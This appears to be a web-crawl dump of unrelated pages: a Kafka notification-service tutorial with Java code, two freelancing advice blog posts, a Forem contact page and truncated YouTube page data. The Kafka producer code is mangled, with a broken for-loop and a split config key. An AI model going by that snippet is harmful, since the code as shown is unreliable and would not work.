Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language Sign in to view more content Create your free account or sign in to continue your search Sign in Welcome back Email or phone Password Show Forgot password? Sign in or By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . New to LinkedIn? Join now or New to LinkedIn? Join now By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy .	2026-01-13T08:47:55
https://www.suprsend.com/post/designing-a-fault-tolerant-notification-service-with-java-and-apache-kafka	Designing a Fault-Tolerant Notification Service with Java and Apache Kafka Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Engineering Designing a Fault-Tolerant Notification Service with Java and Apache Kafka Anjali Arya • June 2, 2024 TABLE OF CONTENTS Building a fault-tolerant notification service requires careful consideration of various aspects such as scalability, reliability, and performance. In this article, we'll explore how to design a fault-tolerant notification service using Java and Apache Kafka. ‍ Architecture Overview ‍ Our notification service will consist of the following components: Producer : A Java application that produces notification messages to Apache Kafka. Apache Kafka : A distributed streaming platform that handles the storage and processing of notification messages. Consumer : A Java application that consumes notification messages from Apache Kafka and sends them to the appropriate channels. Designing the Producer Use Apache Kafka's Producer API : Use Apache Kafka's Producer API to produce notification messages to a specific topic. Implement retries and backoff : Implement retries and backoff mechanisms to handle temporary failures and ensure that messages are not lost. Use a message queue : Use a message queue like Apache Kafka to handle high volumes of notifications and provide low-latency communication. Copy Code import org.apache.kafka.clients.producer.KafkaProducer; import org.apache.kafka.clients.producer.ProducerConfig; import org.apache.kafka.clients.producer.ProducerRecord; public class NotificationProducer { public static void main(String[] args) { Properties props = new Properties(); props.put("b ootstrap.servers", "localhost:9092"); props.put("acks", "all"); props.put("retries", 3); props.put("batch.size", 16384); props.put("linger.ms", 1); props.put("buffer.memory", 33554432); props.put("key.serializer", "org.apache.kafka.common.serialization.StringSerializer"); props.put("value.serializer", "org.apache.kafka.common.serialization.StringSerializer"); KafkaProducer producer = new KafkaProducer<>(props); for (int i = 0; i record = new ProducerRecord<>("notifications", "Hello, World!"); producer.send(record); } producer.close(); } } Designing the Consumer Use Apache Kafka's Consumer API : Use Apache Kafka's Consumer API to consume notification messages from a specific topic. Implement retries and backoff : Implement retries and backoff mechanisms to handle temporary failures and ensure that messages are not lost. Use a message queue : Use a message queue like Apache Kafka to handle high volumes of notifications and provide low-latency communication. Copy Code import org.apache.kafka.clients.consumer.KafkaConsumer; import org.apache.kafka.clients.consumer.ConsumerConfig; import org.apache.kafka.clients.consumer.ConsumerRecord; public class NotificationConsumer { public static void main(String[] args) { Properties props = new Properties(); props.put("bootstrap.servers", "localhost:9092"); props.put("group.id", "notifications"); props.put("key.deserializer", "org.apache.kafka.common.serialization.StringDeserializer"); props.put("value.deserializer", "org.apache.kafka.common.serialization.StringDeserializer"); KafkaConsumer consumer = new KafkaConsumer<>(props); consumer.subscribe(Arrays.asList("notifications")); while (true) { ConsumerRecords records = consumer.poll(100); for (ConsumerRecord record : records) { System.out.println(record.value()); } consumer.commitSync(); } } } Scalability and Performance Use a load balancer : Use a load balancer to distribute incoming traffic across multiple instances of the producer and consumer. Use a message queue : Use a message queue like Apache Kafka to handle high volumes of notifications and provide low-latency communication. Monitor and optimize performance : Use tools like Prometheus and Grafana to monitor and optimize the performance of the notification service. By leveraging Java and Apache Kafka, you can design a fault-tolerant notification service that provides scalability, reliability, and performance. Remember to implement error handling, logging, and monitoring to ensure the stability and performance of your notification service. Share this blog on: Written by: Anjali Arya Product & Analytics, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information. Preferences Deny Accept Privacy Preference Center When you visit websites, they may store or retrieve data in your browser. This storage is often necessary for the basic functionality of the website. The storage may be used for marketing, analytics, and personalization of the site, such as storing your preferences. Privacy is important to us, so you have the option of disabling certain types of storage that may not be necessary for the basic functioning of the website. Blocking categories may impact your experience on the website. Reject all cookies Allow all cookies Manage Consent Preferences by Category Essential Always Active These items are required to enable basic website functionality. Marketing Essential These items are used to deliver advertising that is more relevant to you and your interests. They may also be used to limit the number of times you see an advertisement and measure the effectiveness of advertising campaigns. Advertising networks usually place them with the website operator’s permission. Personalization Essential These items allow the website to remember choices you make (such as your user name, language, or the region you are in) and provide enhanced, more personal features. For example, a website may provide you with local weather reports or traffic news by storing data about your current location. Analytics Essential These items help the website operator understand how its website performs, how visitors interact with the site, and whether there may be technical issues. This storage type usually doesn’t collect information that identifies a visitor. Confirm my preferences and close Get 10% OFF on your next order Subscribe to our newsletter and receive a 10% OFF coupon to use on your next order. Please check your email for your 10% OFF coupon Oops! Something went wrong while submitting the form.	2026-01-13T08:47:56
https://ruul.io/blog/10-steps-to-becoming-a-freelance-photographer#$%7Bid%7D	10 Essential Steps to Becoming a Freelance Photographer Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up grow 10 Steps to Becoming a Freelance Photographer (Your Comprehensive Guide) Discover how to become a successful freelance photographer with our comprehensive guide. Learn the essential steps, from mastering photography skills to marketing your services. Canan Başer 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points The recording of images is a centuries-old technique. Historians discovered the oldest surviving photographic record in 1826 or 1827. Back then, most photographers were employed by studios, government agencies, and editorial companies. Fast forward to today, we have freelance photography—fully independent! Freelancer photographers can choose projects, capture the world on their terms, and be their boss. This autonomy is lucrative, and you can achieve it too. This piece highlights how to become a freelance photographer, giving you ten good reasons to be a freelancer . We’ll start with an understanding of photography and finish with how to build resilience and adaptability in the industry. Ready to learn? Let’s get started. Let’s get started. Understanding the Photography Market First, what is a freelance photographer, and who matches this persona? The simple answer is that freelance photography offers autonomous services. A freelance photographer is an independent, self-employed professional offering clients photography services. When you become a freelance photographer, you are responsible for everything from finding clients to taking shots and editing images. As a freelancer, you will work in a vast industry, and you can choose what suits you best. The available specialized freelance photographer jobs are in events, weddings, portraits, products, journalism, and real estate. Your goal here is to identify a niche you resonate with that has a market demand you can fulfill. To answer how much a freelance photographer makes, the earning potential varies. This variation depends on experience, location, and specialization. Unlike most professions, freelance photographers have no set salary; your income correlates to the rate you charge and the clients you secure. So, how do you become one? You become one through practice, dedication, hard work, and a strategic approach. Essential Gear and Equipment In the modern world, a freelance photographer’s definition is linked to the gear and equipment one has. While having the most expensive tools doesn’t guarantee prowess, having a good camera is essential. Start with a good camera, along with a zoom and prime lens. The prime lenses are best suited for low-light conditions. Depending on your niche, you might also need: Lighting setups to create dynamic lighting techniques. Tripods to stabilize the lighting and shooting equipment. Reflectors to create shadows and highlights for depth. Diffusers to reduce hard shadows and distribute light evenly. But that is not all! You must also invest in reliable external and cloud data storage devices. Lucky for you, today, with the many cloud-based tools available, you can use the likes of Photoshelter Store or Dropbox. Please remember that equipment care and maintenance are also essential. Clean the lenses regularly and store the equipment appropriately in shock-absorbing bags. Honing Your Photography Skills Becoming a freelance photographer begins with setting a solid foundation in the photography market. You set the foundation by mastering the following: Camera settings: Aperture, shutter speed, and ISO. Lighting setups: Natural and artificial lighting. Composition techniques: Leading lines, rule of thirds, symmetry, asymmetry, and negative space. Post-processing: Sharpening, exposure, white balancing, cropping, straightening, noise reduction, and color correction. You can enroll in a photography course or workshop or take online tutorials to learn and apply the above. After uncovering the basics, practice every chance you get, implementing everything you learn. If your chosen niche is product photography, practice taking pictures of different items in different locations with different lighting and compositions. The more you shoot, the better you grasp the essence of photography. Developing Your Unique Style After mastering gear and photography skills, it’s time to explore and develop your unique style. What sets you apart from other photographers? And what drives your passion? Finding your voice in the freelance photography business gives your art value. It will help you attract freelance photographer jobs that resonate with your artistic aesthetic. So, how do you land in a style? You can experiment with the different photography styles and see what tickles your fancy. The options available are portrait, landscape, street, macro, black and white, architectural, product, and food photography. Pick one, practice it under different lighting and composition settings, and see what resonates best. Refine your editing skills using the best tools. Also, stay updated with the current photography trends to match your chosen style. Remember, consistency is vital. Strive to deliver high-quality images to help you build your freelance photography portfolio and a solid client base. Setting Competitive Rates and Contracts Before making a portfolio, it’s best to set rates and draft contracts beforehand (so that you can include them there). Start by finding out the current prices for freelance photography in the area and your field. Consider your experience, the overhead costs, and the value you offer. Next, arrange your service bundles according to your clients' various wants and budgetary capacities. This gives the client the power to select what suits them best. Contracts are an additional safety that you should implement to protect your freelancing photography business. Consider consulting a lawyer to help outline project details, timelines, fees, cancellation policies, and copyright ownership within the contract. Finally, be open when dealing with different clients. Sometimes, clients negotiate a discount on your rates. Consider them if you are starting to gain experience, but ensure you still meet your goals. You are free to do as you choose if you are an expert in your field. Developing Your Freelance Photography Portfolio As a self-employed photographer, your work portfolio serves as your CV. It is the first touchpoint clients interact with, so it must display your best work. Here are a few steps to help you structure your photography portfolio: Select an audience: This helps you focus your services on a certain group of customers . Select the best pieces: Only use a few shots that speak volumes about your technical prowess. Prioritize quality over quantity. Choose a portfolio type: You can choose between a physical or a digital portfolio—the latter shines in this age. You can use specialized websites to display your digital portfolio. Wix, Squarespace, or Zenfolio are some website builders you can use. Marketing Yourself as a Freelance Photographer The freelance photography portfolio you built needs to be displayed, right? Some principles of photography marketing will guide you here. These are: Branding: Create logos using consistent colors and fonts across all platforms you use for your photography business. Content marketing: Consistently post content on all your client touchpoints. Use social media, blogs, and websites. Ensure you offer content beyond photos; share content on tips, hacks, behind-the-scenes, and a glimpse of your creative process. Networking: Connect with potential clients and industry experts through various mediums. Attend events and exhibitions, join freelance photographer communities, and collaborate with other freelancers. Optimizing: Make sure the visual appeal and SEO of your social media profiles and website are both strong points. The website should have an about me page, a contact page, and a photo blog section. Ensure it’s easy to navigate, both on a PC and mobile. Mastering the Art of Client Communication Marketing your freelance photography business gets you the client. Mastering client communication keeps them coming and inviting others. Here is how you do that: Actively listen: When dealing with clients, consider their vision and the project expectations. Take notes if you must. Ask clarifying questions and ensure your visions align before commencing the project. Establish definite routes for communication: Maintain a line of communication open at all times. Keep the client updated on the progress, disclosing any hurdles or delays you face. Exceed expectations: Ensure your freelance photography services are exceptional with every interaction. Deliver high-quality images on time. This will help you garner positive client testimonials you can use on your portfolio, social media, or websites. Once you follow the above steps, you can be assured of return business and impeccable business rapport. Building a Sustainable Business Imagine a business that survives the test of time and where you get to inspire and teach young aspiring creatives. This is achievable if you build a sustainable freelance photography business. If you would like this to be your story, consider adhering to the following: Track your finances: Being a loner in a lucrative business can be tempting, so don’t splurge. Instead, keep meticulous records of all your income and expenses to grasp your profitability fully. Employ accounting software or engage a financier or accountant to expedite the process. Don’t forget to save for taxes, too. Prioritize continuous learning: A sustainable freelance photography business relies on evolution. Stay ahead by taking online classes, learning new techniques, and attending workshops. Explore new freelancing trends in photography marketing, client retention, and more. Diversify your income channels: Beyond taking photos, explore selling online prints or digital downloads of your works. Offer freelancing photography training for a fee, or license your images to stock photo agencies. Building Resilience and Adaptability Becoming a freelance photographer is not for the weak. You will experience hectic times as well as slow periods. You will have sleepless nights with lingering deadlines and clients in your ear demanding more than what they paid for. To succeed in the freelance photography business, you must first build resilience. You will also have to become highly adaptable to the changing times. Here are some pointers to assist you: View challenges as opportunities to grow and improve. Learn from your mistakes. Never stop learning. Delegate work. Become the Best Freelance Photographer Ever! Becoming a freelance photography success is an attainable, lucrative, and adventure-filled exploration. Prioritize learning the basics and reinforce them with continuous learning. Never shy away from experimenting, because it gives you an edge. With dedication, perseverance, and these ten steps as your guide, you’ll be well on your way to capturing stunning images and a thriving freelance photography career. ABOUT THE AUTHOR Canan Başer Developing and implementing creative growth strategies. At Ruul, I focus on strengthening our brand and delivering real value to our global community through impactful content and marketing projects. More When and how to ask for payment upfront as a freelancer Take a look at why you should ask for payment upfront, how to go about doing it, and different options you can pursue when it comes to getting paid. Read more The Ultimate Guide to Choosing the Best Invoicing Tool for Freelancers Tired of the daunting invoicing paper train? If so, read this piece on the best invoicing tool for freelancers to digitize and streamline your finances. Read more Understanding DAC 7: The Essential Guide to Digital Platform Reporting Learn about DAC7, the EU directive for standardized digital platform reporting. Discover its impact on taxation, compliance requirements, benefits, challenges, and future trends in the digital economy. Stay informed with our comprehensive guide. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. Trustpilot Product Payment Requests Sell Services Sell Products Subscriptions Ruul Space Pricing For Businesses Resources Blog About Contact Support Referral Program Affiliate Program Partner Program Tools Invoice Generator NDA Generator Service Agreement Generator Freelancer Hourly Rate Calculator All Rights Reserved © 2025 Terms Of Use Privacy Policy	2026-01-13T08:47:56
https://ruul.io/blog/when-and-how-to-ask-for-payment-upfront-as-a-freelancer	When and how to ask for payment upfront as a freelancer - Ruul Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up get paid When and how to ask for payment upfront as a freelancer Take a look at why you should ask for payment upfront, how to go about doing it, and different options you can pursue when it comes to getting paid. Arno Yeramyan 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points As a freelancer, upfront payment must be one of the must-know phrases in your vocabulary. Why? Unlike most financial transactions you’ll see in your everyday life, freelancers often have to deal with complicated payment periods and terms. Issues with freelancer payment options could lead to inconsistent income and financial anxiety , which is one of the biggest reasons why some freelance careers have setbacks in their growth. Similarly, companies have to deal with late payments or dismissive clients all the time. Still, you, as a self-employed talent, don’t have a dedicated team to handle these situations. You must handle these situations by yourself, which is why this part of freelance work can get a bit complicated. However, this shouldn’t scare you from the prospect of freelancing. In this article, we’re going to take a look at why you should ask for payment upfront , how to go about doing it, and different options you can pursue when it comes to getting paid. What is an upfront payment? An upfront payment is exactly what it sounds like. It is when a client agrees to pay for the product or service that you provide before you complete it. A great example might be grocery shopping; when you go to the grocery store and purchase goods, you don’t get to take them home before you pay. It’s the same here: your client pays you before you provide what you are expected to .Some upfront payments aren’t complete payments. Often they are partial payments, akin to down payments, or the first installment in a payment plan that you can arrange with your client. While the totality of the payment arrangement might change, the general rule is that they pay you some amount of the total fee before the service is completed. Why charge an upfront payment? Upfront payments are one of the best ways to maintain a consistent income as a freelancer . Many freelancers choose to offer discounts or special payment terms to incentivize clients to pay upfront. Potential clients might hesitate to take these options as it means that they will have less time to pay you. So, if you want clients to pay upfront, be ready to negotiate. What are the benefits of being paid upfront? The main benefit with upfront payments is getting cash in hand sooner. This will help you immensely, because it gives you better control over your finances and helps you eliminate problem clients. Reduce the risk of non-payment Not receiving a payment is a nightmare that many freelancers have to deal with. Some clients might be either late on their payments to freelancers or don’t pay all. This is one of the problems that usually leads to a solo business to fail. Setting up upfront payments helps to eliminate this possibility. Filter out problem clients Clients that are especially unfamiliar with freelance businesses usually prefer to delay their payments for as long as possible. That’s why usually, payment terms give clients months to pay for services after you send them the invoice. While most late payments can be reasonably resolved with clients, this isn’t always the case. Be aware that some clients will be unwilling to negotiate with you to meet a mutually beneficial agreement . On a positive note, after these instances you will gain experience and will be able to weed out troublesome clients in the future. Provide better cash flow Cash flow is key to running a successful business . It’s essentially the flow of income that your business makes; like revenue or loans, compared to your expenses like your business-related costs. It’s important for you to make sure your cash flow stays above your expenses , and being paid upfront is a good way to accomplish this. Getting paid upfront allows you to cover your expenses right away. It’s especially useful for long-term projects that will require most of your resources and attention. When to ask for a freelance deposit A freelance deposit is another form of upfront payment that you can offer as a potential payment option. A freelance deposit is essentially a down payment , and it’s something that you can negotiate with your clients and put in your initial quote. They are a great way to ensure that you get paid at the beginning of your project, so here are a few tips about when to ask for them. When working with new clients By asking for a deposit when you are working with a new client, you are ensuring that the client is willing to work with you. It helps you strengthen the terms of your contract/agreement and it emphasizes a level of trust between you and your client. If you find it to be practical and beneficial, you can continue to apply this method for future dealings or remove it if you’ve built a strong relationship with your client. It’s good practice to make sure to negotiate some sort of deposit with new clients. For longer and larger projects It’s possible that while working on big projects, you will have to focus on and dedicate all your resources and time to it. You’ll have a lot of work to do, with limited to no chances of squeezing in other work. This is where deposits come in. Having enough money to cover personal expenses, or if needed, invest in the project will help immensely and relieve a lot of unnecessary stress. It’s a great way to make sure that you are never short on cash, even when working on long-term or multi-phased projects . When there are project-related costs Sometimes in order to complete a project, you will have to spend out of your own pocket to cover expenses. While some clients may offer to reimburse you for these charges, there are many that won’t. So, if there is a project that will have you dip into your own funds to ensure that it's completed, it’s best to consider asking for a deposit. This method helps you ensure that you have what you need to complete the project without experiencing financial instability . If you and your client have an agreement in place where they’ll cover such expenses, then that’s great. However, it’s wise to suggest a deposit of some sort to protect you against situations where this isn’t the case. How to ask for payments upfront There are a number of ways that you can approach this topic with your potential clients. A good way to approach this isn’t to try to “win” the negotiation, but instead look at it as a way to protect both your and your client’s interests . This will lead to the best outcome as it will establish a solid professional relationship and a productive agreement. Create a professional persona to build trust When it comes to any sort of negotiation or business deal, having a sterling reputation helps tremendously . Remember, it’s likely that your client is going to do some research on you and what you offer. You should use all the tools at your disposal for marketing , like well-coordinated social media pages, in order to create a professional, trustworthy persona. You want people to perceive you as a professional that is capable of doing the work clients want as they want it, and do it timely. You want potential clients to think you are reliable, intelligent, and responsible. Positive reviews, referrals and testimonials will also help during negotiations . Use a percentage-based deposit and milestone-based payment system A good negotiating tool that you can use when discussing your payment arrangements is to create a payment system that is goal oriented . A percentage-based deposit is a great option that gives you and your client a reasonable starting point to negotiate. A common starting point is 25%-50% for a deposit. Milestone-based payment systems are based on reaching certain goals on the project. If you have a long-term project that will have several phases, then having payment goals centered on reaching determined targets would be an excellent idea. It’s good for covering expenses that come up along with the project, as well as making sure that you maintain some form of income while working on the project. You can even set up payment options based on your preferred payment schedule. Communicate clearly and understand the client’s hesitations As we’ve mentioned before throughout our discussion, many clients will hesitate to accept these payment terms. This is because most clients want as much time as they can have to accrue the funds they need to pay you for your services. That’s why most freelance payment terms give clients weeks or even months to pay for your services after you’ve sent the invoice. In fact, a lot of online information encourages clients to never accept paying freelance contractors upfront. That’s why it’s important for you to have open and honest discussions when negotiating these payment terms. By keeping these discussions open, you allow your client to voice their concerns but also give you the ability to inform them why you need payments upfront. Having open discussions allows both of you to iron out any uncertainties when it comes to the payment terms. Ask for testimonials from previous clients One of the other tools that you have at your disposal is testimonials from your previous clients. Testimonials and referrals are great, because they allow someone else’s voice to speak for you and will help boost your reputation when it comes to attracting potential customers. Asking for a referral can be a bit unnerving, that’s why it’s best to continually ask for feedback from your clients while keeping open lines of communication. Use their referrals and testimonials as a bargaining chip when discussing your potential payment terms. Think of it as another form of good PR that you use to prove the quality of your work. Get help from Ruul The last bit of advice that we can give is to consider using Ruul for any of your freelancing needs. You can benefit from Ruul’s template service agreements and contracts as a freelancer, and use Ruul’s smart invoicing system to remind undue payments to your clients with a click of a button. The importance of upfront payments While getting clients to agree to pay you upfront can be a hassle, it is something that is worth pursuing. Getting clients to agree to some form of an upfront payment is especially helpful when working on long-term projects. With the right form of communication, you can find flexible arrangements that fit both your and your client's needs. ABOUT THE AUTHOR Arno Yeramyan Arno Yeramyan is a talented writer and financial expert who educates readers on various financial topics such as personal finance, investing, and retirement planning. He offers valuable insights to help readers make sound financial decisions for their future. More How Freelancers Accept Crypto Payments in Spain Find out how freelancers in Spain can accept cryptocurrency payments, streamline invoicing, and attract a broader client base in the digital economy. Read more Best practices for leading a remote team Learn the best practices for managing remote teams to achieve higher productivity, lower expenses, and access to a larger talent pool. Read more How to Sell Freelance Services Stop chasing clients. Learn how to sell freelance services with productized offers, smart positioning, and real results. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. Trustpilot Product Payment Requests Sell Services Sell Products Subscriptions Ruul Space Pricing For Businesses Resources Blog About Contact Support Referral Program Affiliate Program Partner Program Tools Invoice Generator NDA Generator Service Agreement Generator Freelancer Hourly Rate Calculator All Rights Reserved © 2025 Terms Of Use Privacy Policy	2026-01-13T08:47:56
https://core.forem.com/contact	Contact Forem Core Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Core Close Contacts Forem Core would love to hear from you! Email: support@dev.to 😁 Twitter: @thepracticaldev 👻 Report a vulnerability: dev.to/security 🐛 To report a bug, please create a bug report in our open source repository. To request a feature, please start a new GitHub Discussion in the Forem repo! 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem Core — Discussing the core forem open source software project — features, bugs, performance, self-hosting. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem Core © 2016 - 2026. Community building community Log in Create account	2026-01-13T08:47:56
https://www.youtube.com/watch?v=8KwXEqe6Gq4	Etymotic Research - Earphone Insertion Video Guide - YouTube 정보 보도자료 저작권 문의하기 크리에이터 광고 개발자 약관 개인정보처리방침 정책 및 안전 YouTube 작동의 원리 새로운 기능 테스트하기 © 2026 Google LLC, Sundar Pichai, 1600 Amphitheatre Parkway, Mountain View CA 94043, USA, 0807-882-594 (무료), yt-support-solutions-kr@google.com, 호스팅: Google LLC, 사업자정보 , 불법촬영물 신고 크리에이터들이 유튜브 상에 게시, 태그 또는 추천한 상품들은 판매자들의 약관에 따라 판매됩니다. 유튜브는 이러한 제품들을 판매하지 않으며, 그에 대한 책임을 지지 않습니다. var ytInitialData = {"responseContext":{"serviceTrackingParams":[{"service":"CSI","params":[{"key":"c","value":"WEB"},{"key":"cver","value":"2.20260109.01.00"},{"key":"yt_li","value":"0"},{"key":"GetWatchNext_rid","value":"0xb8a69fd6c0875c4a"}]},{"service":"GFEEDBACK","params":[{"key":"logged_in","value":"0"},{"key":"visitor_data","value":"CgtoVW45V2dFUEFlayi4jZjLBjIKCgJLUhIEGgAgFGLfAgrcAjE1LllUPVA4cTl2S1RsVVBNMkxxaExOUlktajZWZDdnbGR5WGFfS0dsNnp5RVpOOEROSUV5TFVOWmg1Z0ZTLURfSTJVLTZIdkpTeUM3SVlrZmg5MkJYcnI5aFZZZHlLZlJJQnN2YnVZazdvMUw5RnZWZnkzcFFRbzFTOVlObUNFZnBaVTB0b0g0Wml5bTVZdm5iX0RkVDZ4bzRkN0xGMi1vc0t5SHZmNWZsUnFlTUF3RWdUN1FnNXNrdE1qaW9lbFpaZzdhMjQ5Tk5XekRnY2FjbEVWUFB0ZjlqYzl3cUZvSk01aXBGbnAzdGh2akxPeW9QeU5ndk0wWU9wUFdWQnduczQ1MERLUVBFOE1xYi1ZR25jY3p0UU1adkhjYXNROFpJU2tVcTBNSWlhWkZiTHRRcWhMMU5ueFUtZnJiRGdFeVFVVnZFMGFfUjdKVHhTQmViUW5zc2VXRWZ0QQ%3D%3D"}]},{"service":"GUIDED_HELP","params":[{"key":"logged_in","value":"0"}]},{"service":"ECATCHER","params":[{"key":"client.version","value":"2.20260109"},{"key":"client.name","value":"WEB"}]}],"mainAppWebResponseContext":{"loggedOut":true,"trackingParam":"kx_fmPxhoPZRejcD4ACqDVQYgZ1PUwO2M4Al8yiAssYzAjHRgkussh7BwOcCE59TDtslLKPQ-SS"},"webResponseContextExtensionData":{"webResponseContextPreloadData":{"preloadMessageNames":["twoColumnWatchNextResults","results","videoPrimaryInfoRenderer","videoViewCountRenderer","menuRenderer","menuServiceItemRenderer","segmentedLikeDislikeButtonViewModel","likeButtonViewModel","toggleButtonViewModel","buttonViewModel","modalWithTitleAndButtonRenderer","buttonRenderer","dislikeButtonViewModel","unifiedSharePanelRenderer","menuFlexibleItemRenderer","videoSecondaryInfoRenderer","videoOwnerRenderer","subscribeButtonRenderer","subscriptionNotificationToggleButtonRenderer","menuPopupRenderer","confirmDialogRenderer","metadataRowContainerRenderer","compositeV